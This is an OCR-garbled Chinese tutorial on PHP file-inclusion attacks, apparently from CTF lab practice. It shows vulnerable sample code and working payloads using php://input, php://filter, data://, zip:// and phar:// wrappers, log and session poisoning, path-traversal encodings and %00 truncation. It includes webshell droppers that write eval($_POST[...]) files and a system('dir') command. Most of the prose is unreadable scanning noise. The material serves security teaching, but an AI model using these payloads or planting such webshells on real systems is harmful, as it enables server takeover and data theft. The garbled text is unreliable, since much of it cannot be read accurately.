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e allow_url_fopen=0On(ERI\ HON) & & 7 o VT MOm P2 AR 55 28 B E P b A 2R B
e allow_url_include=On(php5.22 J& BRi\ R OFf) ¥l & & 7 o ¥Finclude/require i #2 3 #F

0x03 # W30 & e 3K
php % JL #3402 B U B DU

e include()
e require()
e include_once()

e require_once()
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include SrequireZ: 4 & AH R, BR T 45 RACHE 5 H:

e include(), RARE®E (E_WARNING) , FHEAL4%S:
e require(), &4ERB AR (E_COMPILE_ERROR) H}{Z kA
e include_once()5require_once(), MRAXHDEE, WASEE, Hiuti b

0x04 PHP{4 B3 iX

PHP $24t 7 — RN /ft (10) ¥, AWUIH PHP FWBMARMR. SrdE N\ e RpRss, Wi, #asork
I SO DA Be T DA 48R A L Ath 33 BRSO\ ST BRI B 2%

—. php:/linput

php:/finput] LA 18] 3R i R 46 508 10 R, Krpostidi R R U /EphpRIGHAT . “ENKSEUE AU LTI, BTL%
SH Aphp:/input, R B postiE ¥ B K SCH A, php#dTIF &4 post & UESCH A . Wit S BUE BRI HAT.

POC:
?file=php://input
[POST DATA] <?php phpinfo(); ?>

Example 1: & BB HAT

<meta charset="utf8">

<?php

error_reporting(9);

$file = $_GET["file"];

if(stristr($file, "php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:"
A

exit('hacker!");

¥

if($file){

if ($file!="http://www.baidu.com") echo "tips: flagfEX4alH FHFEASCHEF";
include($file);

telse{

echo '<a href="?file=http://www.baidu.com">click go baidu</a>";

?>



@ Hackbar ~ x  tips: flagfEX4EIBRIVENIEF

Encryption¥ | Encoding ¥
iload | i spiit | +Run |

http://localhost:8081
/anheng/FileInclude/input

/index. php?file=php: System Windows NT DESKTOP-BHUACS3 10.0 build 17134 (Windows 10) i586
//input Build Date Sep 30 2015 13:44:04
Compiler MSVC11 (Visual C++ 2012)

Enable Post data

Architecture x86
? i .2
<?php phpinfo():?> Configure cscript /nologo configure.js "--enable-snapshot-build" "--disable-isapi* "--enable-
Command debug-pack” "--without-mssgl" "--without-pdo-mssql* "--without-pi3web" "--with-

pdo-oci=C\php-sdk\oracle\x86\instantclient10\sdk,shared” "--with-oci8=C:\php-
sdk\oracle\x86\instantclient10\sdk,shared" "--with-oci8-11g=C:\php-sdk\oracle
\x86\instantclient11\sdk,shared" "--enable-object-out-dir=../obj/" "--enable-com-

dotnet=shared" "--with-mcrypt=static" "--disable-static-analyze" "--with-pgo"
[JEnable Referer

Server API Apache 2.0 Handler
Virtual Directory | enabled
Support

Confiauration CAWINDOWS

@ Hackbar v X tips: flagfEEHRIEFHENET 006009 D 92006 DATA 6006009 0x0 69 8046-5807 D:\PHPWAMP_IN3\wwwroot\anheng\FileInclude\input
9oL 2019/02/12 11:36
Encryption® | Encoding ¥
iload | § split | > Run .2019/02/12 11:36
http://localhost:8081 .. 2019/01/20 23:53 42 202cb962ac59075b964b07152d234b70.txt 2019/02/12 15:43 413 index.php 2 ¢ 9 €19 455 €€ 2 9 &LY4 666,458,013,696
/anheng/FileInclude/input 000606
/index. php?file=php: '
//input
I Enable Post data
<?php system(’' dir’);?>
_lEnable Referer
€ Hackbar ~ x  <?php echo “flag{202ch962ac59075b964}”; 2>

Encryption¥ | Encoding ¥
(el Load |_ﬂ Split | + Run |

http://localhost:8081
/anheng/FileInclude/input
/202cb962ac590750964b0715
2d234b70. txt

| Enable Post data

_lEnable Referer

vE: FHphp:/finputi& 7] LA AphpA L, Bl ZEpostHh 4% At F A5 :

<?PHP fputs(fopen('shell.php','w"'), '<?php @eval($_POST[cmd])?>");?>

Example 2: U ASE



//test.php

<?php

show_source(__FILE_ );

include('flag.php');

$a= $_GET["a"];

if(isset($a)&&(file_get_contents($a, 'r')) === 'I want flag'){
echo "success\n";
echo $flag;

}

//flag.php

<?php

$flag = 'flag{flag_is_here}';
?>

HittestphpHl, HSHSaf k=, HIEEKCHHEE Iwantflag'it, BIAIER$flag. FTLART LA FH php:/inputfs 2 JF 45 i post
HHRE, V7 1901 SR 0 JR 06 088 1 R SR, K postid SR Hh i B M A PHPARES ST SR AT 40 .
¥E: iBZlfile_get_contents()E 48 2 H php:/input&éid .

@ Hackbar ~ x  <?php
show_source( FILE ):

Encryption¥ | Encoding ¥
@lload | § spiit | »WRun |  include( flag.php’);
http://localhost:8081

/phpstudy/test. php?a=php:
//input

$a= $_CET["a"];
if(isset($a)&& (file get contents($a,'r’'))=== 'I1 want flag ){

»”» ”
Enable Post data echo success\n";

I want flag echo $§$flag;:

}

success flagfflag_is_here}

[ Enable Referer

—. php:/ffilter
php:/filter™] LAZKEUE R SCHEIS . MES5EERME S0, php/filterdi &8 4 EphpSCHHAT . BT LATRAT— Mot Fdk AT 408G
EHARBAT . TS BAE RSO

POC1:

?file=php://filter/resource=xxx.php

POC2:

?file=php://filter/read=convert.basebd-encode/resource=xxx.php

POC1H #iEBoox php 3, BRZHHRMELERLEEEEREN KR TE L, FUEERRPOC2H 5k ik N A #4T
base644iiy f5 BN KEs E, BEATHEE.



#: EZphp/filterfiERI &% R—ikphp/filter) 2 H
Example 1:

<meta charset="utf8">

<?php

error_reporting(0);

$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")
)

exit('hacker!");

¥

if($file){

include($file);

telseq{

echo '<a href="?file=flag.php">tips</a>";

?>


https://www.leavesongs.com/PENETRATION/php-filter-magic.html

1. 5 Htip/E A TR, & 2url$ HBifle=flag.php, WTF:

(&) C @ @ localhost:8081/anheng/Filelnclude/filter/index.php?file=flag.php B 110% LTI % 4
}’\1 was Bdlsmss Bodisas @ Fixrkk xAmn [ sres D sEmne DB ares O sERi 16 srcs
@ Hackbar ~ x  flaggitEiX, Biaflagiiieil

Encryption¥ | Encoding ¥
(&l Load | & split | * Run |

http://localhost: 8081
/anheng/FileInclude
/filter

/index. php?file=flag. php

Enable Post data

[JEnable Referer

2.%iRkpayload: ?file=php:/filter/resource=flag.php, KIMTLHEERHE:

@ Hackbar v x flaggifoX, ¥5iaflagiireil

Encryption¥ | Encoding ¥
| Load |_}E Split | ' Run |

e e

/anheng/FileInclude .
/filter

/index. php?file=php:
//filter v

/resource=flag. php
Enable Post data

[ Enable Referer

3.2 payload: ?file=php:/ffilter/read=convertbase64-encode/resource=flag.php, 5%|—Hbaseb4 7%, fEi%EfagrEflag.php
TRAD R B

@ Hackbar v x  PD9waHANCmVjaG8glmZsYWflsLHInKjov5nvvlznjlznjJxmbGFn6JeP5Zyo5Z70qljsNCi8vIGZsYWd7YTBiOTIzODIwZGNjNTA5YTZmNzU4NDIifQOKID8 + DQo=

Encryption¥ | Encoding ¥

@l Load %‘ Split . Run

/index. php?file=php: ~
//filter

/read=convert. base64~
encode v
/resource=flag. php

Enable Post data

[JEnable Referer

=. zip:/l

zip:/ FTCAT R B B E . HESEERBSE AN, dp/Rat S Epho X AT . T SEBE RAREHAT.



zip:/Ih R g te N4axt B4 o

ER#RESAOMESASRERNE, JFE4ZERgZ%23 (BT RPOCHH#E %238 #)
REERZpMEHCHA, FHREWUMEREHR.

AH F 2R B (38R Zlib://Fibzip2://

POC:
zip:// [ B4 EEETTRER 1+ REsE RIS
?file=zip://D:\zip.Jjpgh23phpinfo.txt

Example 1:

//index.php
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if (!$file) echo '<a href="?file=upload">upload?</a>";
if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*[/stristr($file, "phar")*/){
echo "hick?";
exit();
telse{
include($file.".php");
¥
?>

<!-- flagfE 4H0 B RHFEACMH -->

//upload.php

<meta charset="utf-8">

<form action="upload.php" method="post" enctype="multipart/form-data" >
<input type="file" name="fupload" />
<input type="submit" value="upload!" />

</form>

you can upload jpg,png,zip....<br />

<?php
if( isset( $_FILES['fupload'] ) ) {

$uploaded name = $ FILES[ 'fupload' ][ 'name' ]; /I XS

$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); [/ X4

$uploaded_size = $ FILES[ 'fupload' ][ 'size' ]; 1/ XX

$uploaded_tmp = $ FILES[ 'fupload' ][ 'tmp_name' ]; [/ FERETE SRS #H 3AEH I B ) A 19 B

$target_path = "uploads\\".md5(unigid(rand())).".".$uploaded ext;

if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded
_ext ) == "png" || strtolower( $uploaded_ext ) == "zip" ) &&

( $uploaded_size < 100000 ) ) {
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No
echo '<pre>upload error</pre>';
¥
else {// Yes!
echo "<pre>".dirname(__FILE__ )."\\{$target_path} succesfully uploaded!</pre>";

¥
}
else {

echo '<pre>you can upload jpg,png,zip....</pre>"';
}

?>



. data://5 phar://

data:// FIREE I Sphp:/input, BT LLEF P RIZHIBAG, UESESRBEEN, B8 AR data/Ra 4 Ephp X 4EHAT .
TG S BAE B AR HAT .

POC:
data://[<MIME-type>][;charset=<encoding>][;base64],<data>
?file=data://,<?php phpinfo();
?file=data://text/plain, <?php phpinfo();
?file=data://text/plain;base6d, PD9waHAgcGhwaliSmbygpPz4=
?file=data:text/plain,<?php phpinfo();
?file=data:text/plain;basebtd,PDSwatilgcGhwalWSmbyegpPzd=

phar:/l & F 2 hzip:/FFE ] LA S B A B HAT .
o phar://H R X 45 0 o o} i 42 8 ET DAk

POC:
?file=phar://zip.jpe/phpinfo.txt
?file=phar://D:\zip.jpe\phpinfo.txt

0x05 3,8 ApacheH & 3044

WEBJR 55 88— Bef L P K5 HNE FRARFFAE VG i H B . ABATT AR B EILRKAR, FHOMEFER, EPHPAME
WABHEXAH, @SR ERIFERHIAT H S P RPHPAE .

palj==rs s
« MHEHEE
« HEHEHERER

T=
» —RERTHGEREFESEEN, EESIRESEEEE Y (httpd. conf, nginx. conf.... . JEEEIRIEphpinfo( ) RRHSEFE
- HECEEEHTLENER, HMNCERERIEE, EREiEs.

Apacheiz {7 Jg — M BRIN A A~ H &30+, Windos T &access.log (Ui H&E) Ferrorlog($§iR H&), LinuxF2&
access_logferror_log, VilA H&EXMHET T 2 7 Ui B4 VR 1E SR A0 AR 5525 i B2 AR 5645 8

R ] — MR BIRR,  fhttp/Aww.xoox.com/<?php phpinfo(); 2>, &t & B &, ERRE G RERFEFLSB
WA R, FATE LB burpsuitiid 4ifY, LT LLIE<?php phpinfo(); 7> B Aapachef) H & 304F, REH LB A4 HEX
PERBPAT AR, (HATIRZIR1F50Eapache H E XIS, FTUUNT R4 N, %Z%apachet REAFNEEARINKEE.

SEVE: 188 HEfHFgetshell
2 —EEEHEXHKCTFE

0x06 £ SESSION


https://www.cnblogs.com/my1e3/p/5854897.html
https://chybeta.github.io/2017/08/06/SHACTF-2017-Web-writeup/#Methon-Two

LA AR E 2B & BISESSIONCfF, FEARE XA I RATIERE, EiGpayloadEAEIXH, &ERESRIM.
R %A

o R FSessionH B3 &
o SessionX T, FHIEFMEEE

phpHIsession L {4 KR 17 842 7 LAE phpinfoffisession.save_path% .

SEDIVILITITIE]_CIITUVR v varue o vaiue

session.save handler files files

session.save path ﬁ-_______ Jvar/lib/php/sessions e [var/lib/php/sessions

session.serialize_handler php php
session® W17 fit i 42 -

Ivar/lib/php/sess PHPSESSID

Ivar/lib/php/sess_ PHPSESSID
e /tmp/sess_ PHPSESSID

/tmp/sessions/sess PHPSESSID
session i R: sess_[phpsessid], T phpsessid 7E &% K& R i cookie FEH A LAE F).

SENFE: —IBESESSIONE & HICTFE

0x06 1% /pros/self/environ

proc/selflenviron & {ffFuser-agentsk, R Euser-agentF3H AphpfiE, NphpfARE4ik 5 A Flenvirond, 2 EBEESE, B
Al

R %A -

o phpblcgir Rig1T, XFEenvironF & fRFFUAk.
o environXXHEEAEALE E40, HenvironSCHEA] L.

$% W E. proc/ self/ environ Injection

0x07 A& i i SCHF


https://chybeta.github.io/2017/11/09/%25E4%25B8%2580%25E9%2581%2593CTF%25E9%25A2%2598%25EF%25BC%259APHP%25E6%2596%2587%25E4%25BB%25B6%25E5%258C%2585%25E5%2590%25AB/
http://websecuritylog.blogspot.com/2010/06/procselfenviron-injection.html

HTTP PO ST with a file arrives

PHP begins analysis

PHP creates temp file

PHP writes data to temp file

PHP closes temp file

script execution begins

[optional] script moves uploaded file
script execution ends

PHP removes temp files (if any)

Y Y YYY Y 4 Yy >

"' time
time window

phpH B, eIk X, Elinux FEHAmp E 3, TiEwindows 15 Fc:\winsdows\temp H 3. 7E I B SCH- M B 2
H, FIAH 5 S B A E iz I B SO

HTESFEMESSNXHE. —FERETRIER, linux T MFEHLERECE BE, Miwindow T R 655355 A [ i 3C
e, BRI TTER AT

5 — 51~ B S phpinfo T [ Kiphp variables, 7 PAE KRR F & B F R AEMIEN X H4, BRES ., XA ER
PLZ#%F|I With PHPInfo Assistance

FKUF R SR, EHNREEEH, FTUEEXECTFE: XMANE 4E-2017-babyweb-writeup

0x08 & bA% 304

REPSEBHE R AR, . bR, SO, X R DRI b —aiE B R T Rt T B & .
B A Dl R, #EemdiEhl & FTHIA

BEANL. jphFI2. phpHISTHBF)E, AT:

copy 1.jpg/b+2.php 3.jpg

BE L. jpgfME&phpfRAZHI2. php X &I AEBRE B3, jpg

RS LtE—AER A RS BIRS S, 82N /upload/201811.pg
BRI

<?fputs(fopen(“shell.php","w"),"<?php eval($_POST['pass']);?>")?>


https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
https://chybeta.github.io/2017/08/22/XMAN%25E5%25A4%258F%25E4%25BB%25A4%25E8%2590%25A5-2017-babyweb-writeup/

SRJGURIURL:  http://www.xxxx.com/index.php?page=./upload/201811.jpg , WEHEXIKE K, BETE index.php FTER HF
TFA AL shell.php

0x09 it {5 2 3%

. f&SMTP(H )

o fIExss

AR IR TR B Sl T vk

0x09 #& % il 4K a1t

—. BZEH

fER . RERE E— B3, HRNE IR (Path Traversal). 140 ?file=../../phpinfo/phpinfo.php
WA T -

<?php

error_reporting(9);

$file = $_GET["file"];

// B

include "/var/www/html/".$file;

highlight file(__ FILE_);
?>

WAEFE varllog H % T X fflag.txt, MIFIA.../ATCAREAT BB, HmIAIZR V5

include.php?file=../../log/flag.txt

T AR 55 % 3 S BR PSSR BB 42 8 . Ivar/www/html/../. flog/test.txt, Bl ivar/log/flag.txt, MTAL & Il .
—. wmEsd

R S5 28 v B 2 T A — e uE, W DL — SR ig sk HEAT ST .
1.5 A urlgs 1%

° %2e%2e%2f
o %2f

o %2e%2e/

o %2e%2e%5c
e %5cC

o %2e%?2e\



2. RmH

o ./

® %252e%252€%252f
o .\

® %252e%252e%255¢c

350 3% MR 55 2% B i 55 5 K

..%c0%af

e J¥: Whydoes Directory traversal attack %CO0%AF work?

%c0%ae%c0%ae/

o J¥: java &I %c0%ae fEHT AUCOAE", &5 X NASCCIERFH™" (&)
Apache Tomcat Directory Traversal

e ..%c1%9c

0x10 #5 5 J5 K 5t
JRSETIRRTD AT, i 5 /5 4203 Iy vk 44 P AR

<?php
error_reporting(0);
$file = $_GET["file"];
VU 4

include $file.".txt";

highlight file(__ FILE_);
?>

—. FHAurl

R HEETRE (RFD &, W LAR A querysifragmentsk 583 J5 47 FR il o
S E: URl's fragment

SER U R
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
query(?)

o [ji]Z%] ?file=http://localhost:8081/phpinfo.php?

o [PfHJG] ?file=http://localhost:8081/phpinfo.php?.txt


https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work
https://www.jianshu.com/p/2c07fbb52b45

Example: (R7ER HF T Hflag2.txt3#4)

@ Hackbar v X

Encryption¥ | Encoding ¥

‘@i Load I ﬂ Split I * Run
http://localhost:8081
/anheng/FileInclude
/index3. php?file=http:
//localhost:8081
/phpinfo. php?

Enable Post data

[ Enable Referer

@ Hackbar v x  flag{this is flag} <2php

error_reporting(0) ;

System Windows NT DESKTOP-BHUACS3 6.2 build 9200 (Windows 7 Home Premium
Edition) i586

Build Date Jan 6 2011 17:50:45

Compiler MSVC6 (Visual C++ 6.0)

Architecture x86

Configure cscript /nologo configure,js "--enable-snapshot-build" "--disable-isapi” "—enable-

Command debug-pack” "--disable-isapi® "--without-mssql” "--without-pdo-mssgl™ "--
without-pi3web" "--with-pdo-oci=D:\php-sdk\oracle\instantclient10\sdk,shared"
"--with-oci8=D:\php-sdk\oracle\instantclient1 O\sclk shared" "--with-
oci8-11g=D:\php-sdk\oracle\instantclient11\sdk,shared" "--enable-object-out-
dir=../obj/" "--enable-com-dotnet" "--with-mcrypt=static®

Server API Apache 2.0 Handler

Virtual Directory

Sunnort

Encryption¥ | Encoding ¥ $file = $_GET["file”];
@lload | 4 split | +/Run | 5 %
http://localhost: 8081 include $file.”. txt’;
/anheng/FileTnclude
/index3. php?file=http: highlight file( FILE ):
//localhost:8081 Pl

/flag?. txt?

Enable Post data

[T Enable Referer

fragment(#)

enabled

o [ji1Z%L] »file=http://localhost:8081/phpinfo.php%23

o [HHEE]

?file=http://localhost:8081/phpinfo.php#.txt




Example: C(R7EMR B T Hflag2.txt3#4)

@ Hackbar ~ X
Encryption¥ | | Encoding ¥
‘i Load I @ Split I ' Run I
http://localhost:8081
/anheng/FileInclude System Windows NT DESKTOP-BHUACS3 6.2 build 9200 (Windows 7 Home Premium
/index3. php?file=http: Edition) i586
//localhost:8081 Build Date Jan 6 2011 17:50:45
/phpinfo. php%23 Compiler MSVC6 (Visual C++ 6.0)
Enable Post data Architecture x86
Configure cscript /nologo configure.js "--enable-snapshot-build” "--disable-isapi® "--enable-
Command debug-pack” "--disable-isapi” "--without-mssql" "--without-pdo-mssql” "--

without-pi3web” "--with-pdo-oci=D:\php-sdk\oracle\instantclient10\sdk,shared”
"--with-oci8=D:\php-sdk\oracle\instantclient10\sdk,shared” "--with-
oci8-11g=D:\php-sdk\oracle\instantclient11\sdk,shared” "--enable-object-out-
dir=../obj/" "--enable-com-dotnet" "--with-mcrypt=static”

[ Enable Referer Server AP| Apache 2.0 Handler
\_Iirtual !)irectory enabled
€ Hackbar ~ x  flagfthis is flag} <?php
error_reporting (0) :

Encryption¥ | Encoding ¥ $§file = § GET ["file”]:
@iload | § split | »Run | =

http://localhost:8081 include $file.”. txt";

/anheng/FileInclude

/index3. php?file=http: highlight file( FILE );

//localhost:8081 2>

/flag?. txt%23

Enable Post data

[1Enable Referer

—. PA
FAzp:/ifiphar//, BHTEANEHGHERINKTESE, B RATEMEMNKER, ETLLECHRE.
zip:/l
o [ilAZ41] ?file=zip://D:\zip.Jjpg%23phpinfo
o [PfH2J5] ?file=zip://D:\zip.Jjpg#phpinfo.txt
phar://
L [iﬁl‘lﬂfgiﬁ] ?file=phar://zip.zip/phpinfo

o [PfH#E)5] ?Ffile=phar://zip.zip/phpinfo.txt

Example:
(RIFABER H F P HAphpzipE4E, W& phpinfo.txt, HAHaERIG<?php phpinfo();?>))
Bt LA 43 5l #4938 payload A4 -



?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo

€ Hackbar v X

Encryption¥ | Encoding ¥
‘@l Load | Q Split | ' Run |
http://localhost:8081
/anheng/FileInclude
/index3. php?file=zip:
//D: \PHPWAMP_IN3\wwwroot
\php. ziph23phpinfo

Enable Post data

[Enable Referer

?file=phar://../../php.zip/phpinfo

@ Hackbar v X

Encryption¥ | Encoding ¥

‘@l Load | Qﬂ Split | */Run
http://localhost:8081
/anheng/FileInclude
/index3. php?file=phar:
//../.. /php. zip/phpinfo

Enable Post data

Ol enable Referer

=, KEAMN
R e

¢ phpiR4s < php 5.2.8

§:

System ‘Windows NT DESKTOP-BHUACS3 6.2 build 9200 (Windows 7 Home Premium
Edition) i586

Build Date Jan 6 2011 17:50:45

Compiler MSVC6 (Visual C++ 6.0)

Architecture X86

Configure cscript /nologo configure.js "--enable-snapshot-build” *--disable-isapi* *--enable-

Command debug-pack” "--disable-isapi* "--without-mssql” "--without-pdo-mssql” "--
without-pi3web” "--with-pdo-oci=D:\php-sdk\oracle\instantclient10\sdk,shared"
"--with-oci8=D:\php-sdk\oracle\instantclient10\sdk,shared" "--with-
oci8-11g=D:\php-sdk\oracle\instantclient11\sdk,shared" "--enable-object-out-
dir=../obj/" "--enable-com-dotnet” "--with-mcrypt=static®

Server API Apache 2.0 Handler

Virtual Directory |enabled

Support

Configuration CAWINDOWS

File (php.ini)

System Windows NT DESKTOP-BHUACS3 6.2 build 9200 (Windows 7 Home Premium
Edition) i586

Build Date Jan 6 2011 17:50:45

Compiler MSVC6 (Visual C++ 6.0)

Architecture x86

Configure cscript /nologo configure.js "--enable-snapshot-build® *--disable-isapi® "--enable-

Command debug-pack” "--disable-isapi” "--without-mssql” "--without-pdo-mssgl” "--
without-pi3web” "--with-pdo-oci=D:\php-sdk\oracle\instantclient10\sdk,shared”
"--with-oci8=D:\php-sdk\oracle\instantclient10\sdk,shared" "--with-
oci8-11g=D:\php-sdk\oracleinstantclient11\sdk,shared" "--enable-object-out-
dir=../obj/" *--enable-com-dotnet" "--with-mcrypt=static”

Server API Apache 2.0 Handler

Virtual Directory |enabled

Support

Configuration CAWINDOWS

o Windows T H X\ KK E 2567, BHKMISHESR
o LinuxF B RBKKEN4096FF, BHKEHIXBEFR.

Ry -

HREERWES /(WindowsRZE T Al LE B . k)

>file=./././o o o« &¥. . . ././shell.php

e ER MR B RKEFSWEREFE

9. %00%: i
R e




e magic_quotes_gpc = Off
e phphi 4 < php 5.3.4

R -

BLRAE SUHF 4 18R 5 I %00 SRR i i 58 ) J5 42 4

?file=shell.php%00

E: WAEMEI%0M BB RCEARL T

A AL R IR B

allow_url_includefiallow_url_fopen# /> 8L R 1k
% B open_basedir (open_basedir ¥ phpf7 83T FF K XA BRI FEHE & 19 B M)

B4R RS, REHKRTE ./
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